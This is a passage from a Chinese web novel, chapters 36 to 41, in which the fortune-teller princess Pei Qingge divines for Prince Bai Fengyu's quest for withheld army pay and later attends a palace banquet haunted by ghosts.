年轻人对面的摊主满头大汗,却愣是一个字都说不出来。 “看不准或者看不了,就早点承认,砸了你这摊,小爷还要去喝酒呢。”年轻人又继续问。 “这是怎么回事?”裴清歌低声问了旁边的一个人。 “这是岐风王,他小时候,他母妃被一个看相的害苦了,从此他见到看相的,就让人看,看不准就砸摊。”看热闹的人压低了声音说道,“岐风王常年在并州,前几日才刚进京,起码砸了十几个看相的摊位了。” “哦?”裴清歌挑了挑眉,脸上的兴趣更浓了,“那他这是让人看什么呢?” “他让这摊主看自己今日有没有血光之灾。”那人说完,声音压得更低,“这几日,他都是让人算这一个问题,摊主若说自己没有血光之灾,他就打摊主一顿,说摊主算的不准,再砸摊。” “但若是摊主说自己有血光之灾,他就派人把摊主严严实实的保护起来,等过了子时,依旧说人家算得不准,还是砸摊。” 闻言,裴清歌勾了勾唇,这哪是看相,分明就是挑事了。 摊主擦了擦头上的汗,“小的学艺不精,实在是看不出来,小的这就撤摊,再也不给人看相了。”他说着站起来哆哆嗦嗦地收拾东西。 “无聊。”白风御站起身,神色森然,“既然你自己说了,那就记住你说的话,以后再让本王看见你摆摊看相,无论是在盛京还是何地,本王就直接砸了你的摊子。” 说完便转身离开。 人群自动给他分出了一条路,他大摇大摆的走了。 裴清歌微皱了下眉,抬脚跟了上去。 白风御走了几步,就感觉到有人在跟踪自己,他微微皱了下眉,脚步一转,拐进了一处小巷,走到尽头,才在死路前转过了身,“姑娘一直跟着本王,莫不是芳心暗许?” 裴清歌端详了他的相貌,他与白锦夜同父异母,剑眉星眸,也是妥妥的美男子,只不过…… “王爷天仓低陷,印堂处有道浅疤,是破了相,这一生注定劫难。” “若不是鼻梁高挺,牙齿生得好,怕是没命活着。” 白风御凝眸看她,半响才轻笑一声,“本想今天砸一个看相的摊子就去喝酒的,看样子砸一送一,还有人送上门来。可不要以为,是个姑娘本王就手下留情了。” 风轻轻拂动裴清歌的面纱,她无声地笑了笑,“我还没有摊位。”她说着转身看了看,“我刚才看了下风水,这个巷口的财位不错,我打算在那摆个摊,王爷可要做我的第一个客人?” 第36章 明日此时见分晓 白风御轻轻晃了晃扇子,“也好,这巷子又没什么人,本王真动手了,人家还以为本王欺负弱女子呢。” 裴清歌没说话,转身往巷子口走。 巷子口旁边就有一棵大柳树,她走到柳树下站定,用脚随意地扫了扫,扫出一片空地,从怀里掏出左辞的那三个铜板,递向白风御,在他开口之前,就率先道,“王爷千里迢迢进京,定是有要事要办,不如我给你算算,你这事顺利不。” 白风御眯眼看着裴清歌,“本王还是对你今天有没有血光之灾感兴趣。” “我没有。”裴清歌笑道,“王爷不会真的动手打一个女子。况且砸摊子的事王爷顺手就能办,难道王爷不更想知道此行的目的能不能达成么?” 白风御思忖片刻,轻笑一声,“好,左右无事,本王就陪你玩玩。” 他这几天到处砸摊,到了市集上就自然吸引不少人的目光,见他跟一个女子在这里说话,又有不少好事者围了上来。 裴清歌让他想着自行的目的,抛了六次铜板。 接着便拿着树枝在地上写写画画。 白风御站在一侧,嘴角带着些许嘲讽,他没见过有人这样算命,虽然新奇,但……这些江湖术士无一不是骗子! “山变豫卦。”裴清歌看着卦象开了口,“官爻持世受财生,见兄子戌申同动,得贪生忘克之局,通关得财,财子临日逢午月破,反受其害。” 说完她抬眼看向白风御,“王爷此番进京求财,我说的可对?” 白风御摇着的扇子微微僵了一下,军饷已有两年未至,每次写信进京,得到的答复都是朝中困难,让他先自行解决。 并州与西夜国接壤,本就是军事重地,多年来有些积蓄,他母妃家世代经商,也能填补不少。 但这也不是长久之法,尤其是最近一段时间,西夜国蠢蠢欲动,他只能亲自进京求问军饷。 哪知道一开口,皇上就顾左右而言他。 他来了几日,钱没要到,倒是憋了一肚子火,只能砸砸看相的摊子撒气。 大概是皇上那边有交代,他怎么砸摊,都没人管他。 估计是想让他觉得自讨没趣之后,就自己回并州了。 只不过朝廷克扣军饷到底难看,他也不曾跟人提起,对外只说是多年未进京,想念兄弟们,进京来叙旧。 白风御眯了眯眼,但若是有心人盯着他,想知道他的真正目的,倒也不难,隔了会,他才说,“继续说。” 裴清歌笑了笑,“妻财子水临日,本为吉兆,但逢午月破,反藏财破之相。” “不过……兄爻戌土与子爻申金同动,劫财反成助财之力。” “简单的说,王爷求财,有阻力,是女子,不过可得贵人相助,最终可成。” “我看这贵人是个男子,在皇城的东南方向,王爷可去试试。” “这你可就错了。”白风御笑道,“本王是欲去求人,不过这人却在皇城的西南方向。” 裴清歌也不恼,只是说,“那恐怕王爷要吃一个闭门羹了。”顿了顿她继续说,“卦金十两,王爷可先不付卦金,明日此时,我在此地等你,若是准了,你来送钱,若是不准,任打任骂。” “好,这么多人看着,谅你也跑不到哪去,那就明日此时见分晓。”说完白风御转身往西南方走去。 裴清歌轻轻地摇了摇头,抬脚把地上的卦象抹掉,想着白风御印堂的那道疤痕,不由叹气,有的人明明是龙孙凤命,可就因为脸上不小心留疤破相,导致一生的运气都毁了。 想到这,她脑海里又浮现出桑榆眉心的那丝青气,掐算了一番,意识到桑榆今日应劫。 裴清歌有点急,拨开人群,急匆匆地回了王府,找到左辞问出了桑榆家的住址。 桑榆家在东郊,要去就势必出城,左辞立刻叫上了一队护卫,转身就见裴清歌从马厩里牵出了一匹马,不等他说话,人已经翻身上马迅速的往外跑了。 “真是,王妃要么呆在院子里几天不出来,这突然一出门又拦都拦不住,还看什么?赶紧跟上啊。”左辞说着也急匆匆地去牵自己的马跟上。 * 白风御出了市集,就直奔衡王白玉衡的府上。 白玉衡母妃难产而死,自己的母妃心疼他,把他抱过来养,一直养到十二岁,他们两个人可谓是最亲的兄弟。 而太后也因白玉衡从小没了母妃对他格外好,众多子孙之中,他是最得太后心的一个。 皇上是个极孝顺的,只要白玉衡劝说得了太后,太后出面,他这事就板上钉钉了。 他志得意满地到了衡王府,却被管家告知白玉衡外出办事,不知道什么时候才能回来。 闲来无事他就坐在堂上等,只是等的都口干舌燥了,下人也没奉一杯茶。 白风御顿时恼怒,甩袖而去。 走在大街上,他有些茫然,白玉衡是他在京中最后的希望了。 此行真的要空手而回? 想到军中的十万将士,他甚至连去巷子口砸挂摊的想法都没有了。 在原地站了片刻,他下意识地抬头向皇城的东南方向看去。 他在京中认识的人不多,唯一知道住在那个方向的,就是肃亲王白锦夜。 他跟白锦夜不熟,但白锦夜毕竟也是率兵的王爷,从未听说他的军队被克扣军饷。 白风御垂在袖子里的手微微握紧,真的要去肃亲王府试试么? * 白锦夜刚用完午膳,下人来报白风御前来拜访。 陆绝微皱了下眉,“他来干什么?” 白锦夜擦了擦嘴角,“军饷被克扣两年,难为他忍到现在。” 陆绝想了下也明白了,“他是想让你帮忙劝说皇上?这也不是什么好差事,我让左辞打发他走吧。他不是和衡王好到穿一条裤子,怎么不去找衡王?” 白锦夜摆了摆手,“若不是走投无路,他也不会来找本王。”他说着站起身,“并州与幽州相邻,若是他守不住并州,幽州也会吃紧。今日卖他个人情,以后幽州的事,他也能多照看。” 他说着垂下眼,眼底闪过一抹晦涩。 陆绝怔了下,明白他的意思,他是想在自己活着的时候,把幽州的事都安排好,顿了顿,他才说,“有你在,幽州需要他照看什么?” 白锦夜没接这话,只是说,“叫左辞进来帮本王更衣。” 门口的下人犹豫了下,如实禀告,“王爷,左总管他……陪王妃出城了。” 第37章 王爷,做人得厚道,不然会折寿 白锦夜的眉心皱了皱,“出城干什么去了?” “这小的就不知道了。” 白锦夜没再说话,换上了衣服,才去了正厅。 白风御正在堂上喝茶,等了这一小会,他已经灌了五杯茶。 一旁丫鬟倒茶的速度都快跟不上他喝茶的速度了,这岐风王是没喝过茶么? 见白锦夜走进来,白风御赶紧放下茶杯,拱手作揖,“八皇弟,许久不见。” “三皇兄,不必客气,早就听说你进京,该去拜访你的,不过我身体抱恙,这些日子都没有出府。”白锦夜说着在主座上坐下。 白风御进京的时候,就听说白锦夜自大婚后就一直称病,他想着这其中是不是有什么隐情,如今见他面色苍白,确实是大病的模样。 想到这,他心头微凉,听说白锦夜是几个月前被圣旨召进京中,之后就成亲,现在又生病……这眼见着是皇上不想让他再回幽州啊。 要是白锦夜都不能回幽州了,他这别说军饷了,人能回并州就得烧高香了。 好半天,白风御才轻咳一声,组织了下语言,试探道,“如今边疆安定,皇弟便多在京城留些日子,养好了身体再回去也不迟。” 白锦夜微微点头,他们两个之前来往不多,知道他大概也不好开口,便没有再绕圈子,“三皇兄此番进京,是为了军饷吧?” 白风御倒是没想到白锦夜这话说得这么直接,脸上有些赧意,微微搓了下手,才道,“不知皇弟是怎么申请这军饷的?” 白锦夜端起茶杯,轻轻地喝了一口,才云淡风轻地说,“我跟皇上说,若是军饷不按时到,我就只能让大军亲自来京城领了。” 白风御听了这话,惊得下巴都要掉在地上了,这话不就差直接说要造反了? 转念,他又苦笑一声,“你那五十多万大军,我只有十万,就算亲自上京,卫戍大营一拦,根本接近不了京城,皇上怎么会怕呢?” 白锦夜忍不住勾唇,“怎么?皇兄,你还真打算造反?” “我……”白风御顿了顿,想了会才明白,怕的不是十万大军进京,怕的是十万大军离开驻地。 他这一走,西夜国趁虚而入,越过并州,可就直捣京城。 “我明白了。”白风御眼睛一亮。 “我听说,皇后的母家最近想要在漕运上插一脚。”白锦夜又提醒了一句。 白风御的外公就是做漕运起家,如今天风国的的漕运尽数掌控在他外公的手里。 这其中的利润之多不言而喻。 白风御的手微微握拳,敢情是拿军饷卡着他,为了在漕运上分一杯羹! “多谢皇弟。”他站起身,对着白锦夜抱了个拳,“大恩不言谢,日后皇弟有用得着为兄的,尽管开口。” “将在外君命有所不受,但京中形势,皇兄也不能全然不知。”白锦夜也站起身。 白风御点点头,又说,“等我回去,叫人给你送点天山雪莲来,滋补得很。” 白锦夜微微颔首。 白风御向外走了两步,突然想起什么,转身看向白锦夜,“我本来确实没想着找你,但今天在市集上遇见个姑娘,她说我此行有女子从中作梗,又说帮我的贵人在京城东南方,真是个奇人,明日我也得好好去谢谢她。” 说完就开心的走了。 白锦夜在堂上慢悠悠地喝完一盏茶,正要回九思院,下人就来报,说裴清歌和左辞回来了。 他眯了眯眼,起身往梧桐院走。 桑榆受了伤,裴清歌在给她施针,左辞忙前忙后的。 白锦夜在门口站了好一会,最后还是裴夫人发现他到了。 裴清歌转头瞥了一眼,没说话。 左辞这才走到他身边,“王爷,今日这丫头告假回家,刚出城就被几个人盯上了,钱财被抢劫一空,人也受伤昏迷了。” “光天化日,皇城脚下,还有人这样放肆?”白锦夜皱起眉。 “属下已经命人在查了。”左辞开口道。 白锦夜点了下头,目光在裴清歌的后背转了一圈,最后落在左辞身上,“以后出城,提前报备。” 左辞心里暗暗翻了个白眼,他以前也经常出城去城外找司空,有时候还跟他一起练兵,一大天不回来也没见王爷问一句。 他揣摩了下,显然这话不是跟他说了。 王爷怎么就不能跟王妃好好说话呢? 人家说一日夫妻百日恩,就算王爷好好跟王妃相处,又能相处几个月了? 想到这,左辞胸口有点憋闷,眼底又有些发红。 白锦夜看着他拧起眉,“说你两句还委屈了?” “没有,没有,眼睛里进砂子了。”左辞背过身,用衣袖擦了擦眼角,看向裴清歌,“王妃,王爷也是担心你呢。” “担心我?”裴清歌转头扫了一眼白锦夜,“只要他不找我麻烦我就谢天谢地了。” 白锦夜一听,眉心皱了皱,转身就要走。 左辞赶紧挪了一步,不要命地挡住白锦夜的路,一边对白锦夜使眼色,一边对裴清歌道,“王妃,我们以前在战场上受伤,好多时候都是王爷给我们包扎伤口,王爷的手法可好了,要不让王爷留下帮你?属下……属下约了司空,要迟到了。” 说完他又看向裴夫人,裴夫人会意,向外面挪了几步,就被左辞扶着迅速离开了。 白锦夜站在那,没动,也没说话。 等裴清歌处理好桑榆的伤,拉过被子盖好,一转身才见白锦夜还在,她刚才还以为他也走了。 她走到水盆边洗了洗手,低头看了看衣襟上蹭的血,“王爷没事就回去歇着吧,我要换衣服了。” 白锦夜轻咳了一声,半响才道,“你若是不再帮着皇后办事,之前的事,本王可以不计较。” 裴清歌有些诧异地看着他,“王爷觉得我在帮皇后做什么?三番四次的救你王府人的性命?控制张太妃让她不再伤人?帮你找出王府里那些害人的阵法?” “王爷,做人可得厚道,不然会折寿的。” 第38章 这是因爱生恨了 “你若不是为了皇后办事,为何非要嫁进王府?”白锦夜眯眼看着她。 裴清歌真的是无语了,“怎么嫁进王府就是为皇后办事?那裴玲珑呢?她也想嫁进王府,她也是为皇后办事了?” 白锦夜眉心微微沉了沉,没说话。 裴清歌轻笑了一声,又挑了挑眉,“你早就知道裴玲珑是皇后的人,还装出一副深情的样子,是为了迷惑皇后?” “演戏演了这么久,被我给搅和了,心里不爽是吧?” “裴清歌,祸从口出。”白锦夜语气转冷。 “怎么?又要教训我?”裴清歌嗤笑。 “本王从来不打女人。”白锦夜拧了拧眉。 “不打女人?”裴清歌语气更加嘲讽,“我这后背的伤可还没好,王爷可要看看?哦,忘了,这不是王爷亲手打的,是叫别人打的。” 白锦夜眸光微闪,半响才开了口,“本王说了,你就在梧桐院里好好呆着。”说完,也不等裴清歌再说话,一甩袖袍就走了。 走出院门,他就见到脸上带着几丝焦急的陆绝。 陆绝早就到了,只不过一直被左辞拦着,他不会武功,实在绕不过去,“王爷,你不是去见岐风王了?怎么又到梧桐院了?还来了这么久,你现在要多卧床休息才行。” 白锦夜没说话,迈步往九思院走。 看着他的脸色,左辞不由暗暗摇头,白白创造的机会,还是没戏。 都快到九思院了,白锦夜才突然开了口,“陆绝,自从大婚之后,本王失控的次数好像越来越多。” 陆绝眸色一沉,“王爷你别多心,之前我师父就说过,你的情绪最好不要有太大的波动。以前你都在军中,没那么多乱七八糟的事情。大婚之后,光是裴清歌,就惹出多少事?” 白锦夜抬眼看向北方,“在幽州多好啊。” 陆绝犹豫了片刻,“王爷若是想回去,找个机会跟皇上辞行,直接回幽州便是。” 白锦夜轻笑了一声,垂眼看了看自己的指甲,“怕是回不去了。”顿了顿,他又转头看向左辞,“本王若是死了,尸骨可不要进皇陵,你把本王带到月城,葬在幽云山上。” “王爷你这是说的什么话?王爷福泽深厚,定能长命百岁。”左辞赶紧道。 白锦夜没再说话,收起嘴角的笑容,又走了几步,才道,“不剩多少时间了,得彻底的把皇后和她的党羽解决掉,不然本王一旦出事,她就会逐个清算你们。” 陆绝和左辞对视了一眼,眼中的意味不言而明。 * 第二日白风御从皇宫一出来,就直奔市集的巷子口,可是在柳树下等了快一个时辰,也不见那女子前来。 他找了几个人问,但是附近摆摊的小贩都说以前从未见过那个姑娘。 白风御依旧不死心,足足等到傍晚,市集上的人都散了,才垂头丧气的回去了。 裴清歌确实没有去市集,因为桑榆受伤又受了惊吓,夜里就开始发烧。 到了第二天下午的时候,她才终于退烧醒了,一睁眼,见到裴清歌就哇哇大哭,说她没用,没能收好裴清歌给她的簪子,被贼人抢去了。 裴清歌安慰了她半响,钱财都是身外物,只要人没事就行,好不容易才把她又哄睡了。 她放心不下桑榆,跟白风御之约早就忘到了脑后,根本没想着再去市集。 * 几日后,等桑榆的伤势好转,左辞也抓到了抢劫的人。 那人说是看着桑榆从王府出来,应该是个有钱的丫鬟,又一路往城外走,就动了抢劫的心。 人是抓到了,赃物早就挥霍了。 只不过也没多少钱,裴清歌自掏腰包补上了桑榆的月银。 左辞听着脸都一抽,那不就是从他那拿走的五十两么? 但……只要王妃开心就好。 从梧桐院出来,听说宫里送了张帖子过来,左辞赶紧拿了给白锦夜送去。 白锦夜靠在榻边,随手打开帖子,说是给白风御践行,邀请几位王爷皇子进宫赴宴,就当是个家宴,可以携家属。 并且着重说了白锦夜刚大婚,正好带着王妃一起赴宴,还说亲戚之间应该多走动一类。 白锦夜拿着帖子把玩,京中发生的事,当然逃不过皇上的眼睛,白风御来了他府上的事,想必皇上早就知道了。 失去了这么一大笔军饷,又没了拿捏白风御的把柄,这场子,帝后肯定要想办法找回来。 陆绝把帖子拿过去大致地看了一番,脸色微变,“你身体本就抱恙,直接拒绝了就是。” “皇宫也不是什么龙潭虎穴,没必要拒绝。”白锦夜掸了掸袖袍,“本王若怕他们,当时就不回京了。只不过……”他话锋一转,“裴清歌就不用去了。” 陆绝皱了下眉,想了会才说,“若是你决定去,倒不如带上裴清歌。” “哦?”白锦夜转头看他。 “这些日子咱们盯得紧,府里也没有消息传出去,说不定皇后那边是急了,才想着让裴清歌也进宫,才有机会私下见面。这不正好是个试探的好机会么?”陆绝放下帖子。 白锦夜没说话,看着陆绝,不知道在想些什么。 “不过你要是不愿意就算了。”陆绝又道,“赴宴就要吃饭,裴清歌若是摘下面纱,确实有碍瞻观。” 白锦夜轻笑了一声,眼里闪过一抹不明的意味,从桌上拿起帖子递给左辞,“去把帖子给裴清歌送去。” 左辞一听,这就是王爷同意带着王妃去了,只不过……王妃那边可不一定答应啊。 他想着就算费一番口舌,也得劝王妃跟着王爷一起去。 哪知道到了梧桐院,左辞忐忑地看着裴清歌看完帖子,只听她问了句—— “这既然是家宴,皇后也会出席了?” 左辞听着这话有点别扭,难不成裴清歌还真的是皇后的人?他思忖了半响,才道,“皇后理应出席,但……王妃最好和皇后保持距离,皇后和咱们王爷的关系势同水火。” 裴清歌挑眉看着左辞,脸上带着几丝八卦的气息,“这叔嫂之间,莫不是有过什么往事?” 左辞的脸色尴尬,四下看了看没什么人,才压低了声音,“皇后她年少时喜欢王爷,王爷后来常驻幽州的月城,皇后不远千里跟了过去,给王爷下了药,大冬天的,王爷直接把皇后扔进了凉水里,从那以后,皇后就跟王爷过不去了。” “哦。”裴清歌点点头,“这是因爱生恨了。”顿了顿她才说,“行,我去。” 左辞有些不放心,又叮嘱了一遍,“王妃可千万离皇后远点,不说王爷膈应,皇后也说不定会对你下毒手啊。” 裴清歌笑着应了声,看着左辞离开,就给自己起了个卦。 不起还没事,这一看卦象,裴清歌有点傻眼—— 第39章 你别听别人胡说,我们王爷王妃感情可好了 进宫赴个宴而已,可这卦象显示一步一坎,险象环生。 还真是有点意思了。 裴清歌手里把玩着铜板,若是爱而不得,皇后就这么对白锦夜赶尽杀绝,那这女人的性子多少有些偏执。 甚至嫁给皇上,都是为了报复白锦夜更加顺手。 她仔细的回忆了下云月宁,才发现原主对云月宁的记忆少的可怜,虽然是表姐妹,可只在小时候家族聚会上打过几个照面,甚至连句话都没有私下说过。 不过这卦象显示虽然有危险,可又有贵人相助,最后都能化险为夷。 这么看来倒也不用太担心。 * 第三日一早,左辞就送来了王妃的宫装。 裴清歌左三层右三层的穿完,感觉人都不会走路了,凤冠压得她脖子都要断了。 她干脆自己动手拆掉了凤冠,指了指衣柜里一件淡鹅黄色的束腰长裙,“桑榆,去把那件衣服拿来给我换上。” “这……不好吧?”桑榆有些为难,“不穿宫装,会不会太失礼了?” “你不懂,快点帮我换了。”裴清歌说着自己动手脱掉厚重的外套,她这进宫指不定要碰上多少幺蛾子,穿这么一套宫装,逃命都逃不了。 桑榆犹豫了会,还是按照裴清歌的要求去做了。 裴清歌这才觉得舒爽不少。 她一出门,左辞见她根本就没穿宫装,赶紧跟上劝说。 裴清歌只轻飘飘的扔给他一句话,“非穿那个,我就不去了。” 左辞这才闭了嘴。 白锦夜已经坐在马车上等了好一会,看到门帘掀开,抬眼看去,便见裴清歌一袭淡黄色的长裙,他也没什么多余的表情,就闭上眼睛靠在一侧闭目养神了。 裴清歌上了马车,找了个离白锦夜远的地方坐下。 给谁践行不重要,是不是家宴也不重要。 重要的是,她能见到皇后,大概也就能知道她跟北冥国到底有什么关系。 裴清歌的手微微握了下拳,只要找到藏匿的背后的那个人,也许很多疑问就有答案了。 马车一路到皇宫的丹凤门才停下来,进宫门就不能再坐马车,白锦夜也就率先下了马车。 刚好白风御也骑马到了,他把缰绳交给小厮,朝白锦夜走过来,“八皇弟,身子可好些了?” 白锦夜把手背在身后,微微点了点头。 “那就好。”白风御看着他笑道,“本想找你喝酒,想着你身体不适,可我这又马上要回去了……不如等你以后回了幽州,有时间来并州,我请你喝凤香酒,保证你喝了都不想回幽州。” 白锦夜笑了笑,只说,“好。” “哎。”白风御忍不住叹了口气,“不过,我还有件事要请你帮忙,虽然是件小事,但我这心里放不下。” 裴清歌本来已经要下马车了,但听着白风御和白锦夜兄弟两个说话,她的动作也就顿了顿,停了下来。 “你说。”白锦夜看着他。 “是这样,那天我不是跟你说,是有个姑娘指点我去找你么?本来我们约好了第二日在市集的巷子口见,可我第二日等了一天,她也没来。” “这几日我每日都去转转,还是没碰见她,我感觉她可真像是个神仙般的人儿。” “估计再见无缘,不能当面道谢甚是遗憾。皇弟若是暂时不离京,烦请派人帮我在巷子口的柳树下盯一盯,若是见到一个蒙着面纱的姑娘,就帮我把这十两卦金转交给她。” 白风御说着从怀里掏出十两金子。 裴清歌一见,眼睛都亮了。 她说卦金十两,本来只是十两银子,这白风御这么大方,她可就却之不恭了。 白锦夜伸手还没等把金子接过来,一只手就迅速的把金子拿了过去。 裴清歌在手里掂了掂,“付钱这种事,就不用假手他人了。” 白风御见到裴清歌,脸上一喜,连忙拱手,“姑娘,本王等了你几日,不想在这见到了。” “这几天忙,忘了。”裴清歌笑了笑,若是早知道白风御给十两金子,她怎么也抽个空去把钱拿了。 “就是你让他来找本王的?”白锦夜看着裴清歌眯起眼睛。 “没有。”裴清歌立即否认,“我只是告诉他能帮他的贵人在皇城的东南方向,他想到谁,我怎么知道?” 沉默了会,白锦夜又笑道,“这倒是,若是皇后知道你坏了她的好事,怕也不会放过你。” 裴清歌微怔,想起白风御的卦象里,阻力是个女子,难道就是皇后? 那她和皇后这梁子还真结大了。 “皇弟与这位姑娘相识?”白风御看着一来一往的两人,问出了口。 白锦夜和裴清歌互相对视了一眼,谁也没说话。 还是左辞上前一步,“岐风王,这位便是我家王妃。” “啊?!”白风御有些惊讶,虽然明知道左辞不会骗人,但他还是向白锦夜确认道,“这位姑娘是你的王妃?” 白锦夜没说话,甩了甩袖子,往皇宫里面走。 裴清歌也就跟上了。 白风御落后了几步,靠在左辞身边,他狐疑地看了看前面的两个人,才低声问,“那……是你家王爷有意让王妃指引我去找他的么?” “那怎么会?”左辞连连摇头,他家王爷和王妃可没和谐到这程度,“不过我家王妃本事确实大得很。” “她真的会算卦?”白风御又问。 左辞点点头,“不止会算卦。” 沉默了会,白风御又问,“可我听说你们家王妃好像是……那样才嫁进王府的,刚才见着,她跟你们王爷之间关系好像确实不太融洽?” 左辞挠了挠头,“你别听外面那些人胡说八道,我们王爷王妃感情可好了。” 裴清歌听力好,听不下去左辞睁着眼睛说瞎话,她抬手在空气中招了招,又转头看了左辞一眼。 左辞还在继续瞎编,“我家王爷其实没病,就是大婚之后,跟王妃两个人腻歪,舍不得……唔……唔……” 他的话还没说,嘴就像是被人捂住了,一个字都说不出来了。 裴清歌这才看向他,轻飘飘地道,“左总管,可不能乱说话,这皇宫里游魂多,你看它们都看不下去了,不想再让你开口了。” 白风御看了看左辞,看了看裴清歌,又看向白锦夜,这事怎么想怎么不对,隔了半响他才道,“你们仨不是在演戏给我看吧?” 第40章 做些算卦捉鬼的生意 左辞想解释,但奈何就是一个字都说不出来,急得他直跺脚。 裴清歌也就放缓了脚步,从袖袋里拿出一瓶药膏递给白风御,“这个你拿回去,每日早晚一次,涂在你额头的伤疤上,月余之后,那伤疤应该就消失了。回头你再找人用桃木刻一个螭吻带在身上,螭吻辟火消灾,但记得一定要用长在东南方向的桃木枝来刻。” 白风御疑惑地看着裴清歌,多少有些不解。 “我不是说了你印堂破相,注定一生劫难了么?这样多少能避一些。我只是没时间,不然就刻一个螭吻送你了。”裴清歌想着若是她来刻,再在里面加几道符咒,那就妥妥的没事了。 “虽然不知道你说的是真是假,但……本王可不相信这天下有什么掉馅饼的好事。”白风御本来还是一片热忱。 可他现在极度怀疑根本就是白锦夜知道怎么回事,不想主动上杆子来帮他,就让他的王妃暗地里指点他。 所以裴清歌才都能算得准。 他主动上门,又满脸的感激涕零。 这不是在耍他是什么? “是的。”裴清歌笑眯眯地看着白风御,“我最近打算做点生意,但是没什么门路,听说你娘家是做生意起家,想讨教下心得。” 白风御微皱了下眉,虽然心里对这件事多少有些不满,但是白锦夜毕竟帮了他,他也总不能拂裴清歌的面子,只是多多少少,已经没了最开始的热情,“做什么生意?” “算卦捉鬼一类的。”裴清歌自然看出他的犹豫,微微笑了笑,抬手在白风御的眉心点了一下,又向左辞的方向指了指。 白风御看过去,就见一个吐着大红舌头眼睛突出的宫女趴在左辞身后,两只手死死地捂着左辞的嘴。 “天娘啊!”白风御吓得直接原地跳起,几步躲在裴清歌的身后,但毕竟久经沙场,还能站得住,他揉了揉眼睛,“本王不是眼花了吧?” “没有。”裴清歌往远处指。 白风御就见到远处的阴影里,蹲着站着不少……保持着死相的鬼。 甚至还有一只浑身都在往下滴水。 白风御再也不想进宫了,他有心里阴影了,“本王以后不会一直能看见这些吧?” “不会,你在阳光下再晒个一炷香的时间,就看不见了。”裴清歌开口道,“我打算做这样的生意,王爷觉得如何?” 白风御的脑子快速的旋转起来,然后觉得这是个无本暴利的买卖,他一拍手,“这生意没问题,不知道能不能带上本王?本王出钱,找客源,咱们五五分账,怎么样?” “这生意用钱的地方不多,不过王爷介绍的客源肯定都是有钱人。”裴清歌笑着看他,“只不过这生意我也不知道能做多久。”她说着算了算,以她现在的情况,恢复到巅峰时期,至少也要一年,“咱们就暂时以一年为期,只要是王爷介绍来的客人,给王爷提三成。” 白风御犹豫了一会,转念又想反正是个无本的买卖,当即就答应了下来。 裴清歌这才看向左辞,“左总管,我之前说了给你分红,所有的生意,你都可以分一成,如果你介绍了生意来,再另外分你三成。” 她说着笑了笑,“刚才岐风王给了十两金子做卦金,这里有你一两。” 左辞嘴被捂住不能说话,听了裴清歌的话只能猛点头。 他还以为他的五十两一去不返了,原来王妃还记得啊,他瞬间感动得热泪盈眶。 白锦夜听着三个人在背后聊的热火朝天,忍不住瞥了一眼,咳了一声。 白风御也知道避嫌,赶紧快走了几步,走到他身边,“皇弟,我这进京匆忙,也没带什么礼物恭贺你大婚,等回去了,定让人送来。” 白锦夜皱着眉,没说话。 白风御抬眼向他看去,却见自己好像看重影了,一个白锦夜的虚影出现在他身边,但又很快回到他身体里。 虚化的白锦夜和实体的白锦夜分分合合。 他揉了揉眼睛,也不清楚这是怎么回事,打算等回头再问问裴清歌。 到了含象殿前,白风御刚往里迈了一步,就见这含象殿里鬼魂更多,他默默的把迈出去的脚又收了回来,咳了一声正色道,“反正皇上和皇后也没来,本王在外面转转,好久没进宫了,四处看看再来。” 裴清歌看着他笑而不语,含象殿里比外面凉快不少,当然是跟死后不愿意离开这里的宫女太监、甚至是前朝的旧人有关。 她见着不断的有人扒上来,一边流口水一边往白锦夜身边凑。 白锦夜寿元将至,魂魄有离体的趋势,这些枉死的人,都想往他的身体里挤呢。 裴清歌叹了口气,清了清嗓子。 别人听来也没什么,但在那些鬼魂们听来,就像是惊雷在耳边炸响。 魂魄离体的肉体虽然诱人,可也没必要冒着魂飞魄散的危险。 于是它们都默默退回到角落里去了。 赴宴的众人逐渐到齐,但白风御还坚持在外面晒太阳。 很快帝后就到了。 在他们身后,还跟着一名穿着粉衣的女子。 就算她低着头,裴清歌也看清了,正是裴玲珑。 说是家宴,又叫裴玲珑来,这算什么? 面纱下,她勾了勾唇,这就要开始了么? 皇上白砺寒的目光在殿上扫了一圈,才有些不快地道,“给风御的践行宴,他还没到么?” 一旁的公公袁让赶紧出去找人。 但白风御还是又磨蹭了一会,确认自己什么都看不见了,才小心翼翼做贼一样左躲右闪的进了含象殿。 他刚才扫过一眼,知道哪些地方有那些东西,这会生怕自己碰到它们。 “三皇弟,你这是怎么了?”白砺寒拧着眉,脸色难看。 白风御轻轻叹了口气,“皇兄,臣弟多年未进京,这次离京又不知道什么时候才能回来,刚才走到殿前,突然想起小时父皇上朝,咱们几个一起读书玩闹的场景了,心里不舍又难过。” 听他把兄弟情搬出来,白砺寒也不好再说什么,“快入座吧。” “是。”白风御行礼过后,在自己的位置坐下了。 皇后云月宁这才看向白锦夜和裴清歌的方向,“之前听闻肃亲王与王妃之间有些龃龉,把王妃打入了大牢,还以为今日不会带着王妃来了呢。”说完,她话锋一转,“不过还好来了,本宫这个做表姐的,正要做个和事佬。” 她说着瞥了一眼裴玲珑的方向,“你和玲珑都是本宫的表妹,手心手背都是肉,本宫可不想见到你们姐妹阋墙,不如今日给本宫个面子,之前的事,就过去吧,如何?” 第41章 做人偷偷摸摸,吃东西也见不得人么? 裴清歌没说话,只是笑吟吟地看着云月宁,手在桌子下捏了个印诀。 含香殿里的阴气都在往云月宁的身边聚拢。 只是云月宁一点反应都没有,依旧是看着她的方向,等她的回答。 裴清歌微皱了下眉,才说,“刚刚皇上已经说了,今日是岐风王的践行宴,其他的事情,没必要喧宾夺主吧?” 一点面子都不给,云月宁的脸色当时就变了。 裴玲珑赶紧适时地开口,“皇后,是我不对,我不该在这么重要的场合,求你帮我和姐姐说和,还是……还是改日再说吧。”她说着小心翼翼地看了一眼裴清歌,一副胆小害怕的模样。 两人之间,一强一弱,完全证实了外界关于“姐姐抢了妹妹婚事”的谣言。 “哼。”云月宁冷哼一声,甩了下袖袍,不说话了。 白风御见状赶紧出言缓和,“感谢皇兄今日召各位兄弟来为臣弟践行,臣弟先敬皇兄和皇嫂一杯。” 裴清歌见云月宁端起了酒杯,手伸进袖子里摸出一张符纸,微微抖了抖,一道最低级的幻象出现在云月宁的杯子里。 云月宁以袖掩口,正要喝酒,突然猛地把酒杯往前面一扔,惊叫了声,“啊!血!” 酒杯倾倒在桌上,酒水顺着桌面留下,殷湿的云月宁的衣角。 她迅速的起身往后退了几步,指着桌上的酒水,“哪来的血?是谁倒的酒?” 白砺寒看着桌上的酒水,微微皱起眉头,“皇后可是眼花了?” “臣妾……”云月宁正要说话,却见桌上只是清冽的酒水,哪来的血?但她刚才分明看见是满满的一杯血啊,她甚至都闻到了那刺鼻的血腥味! 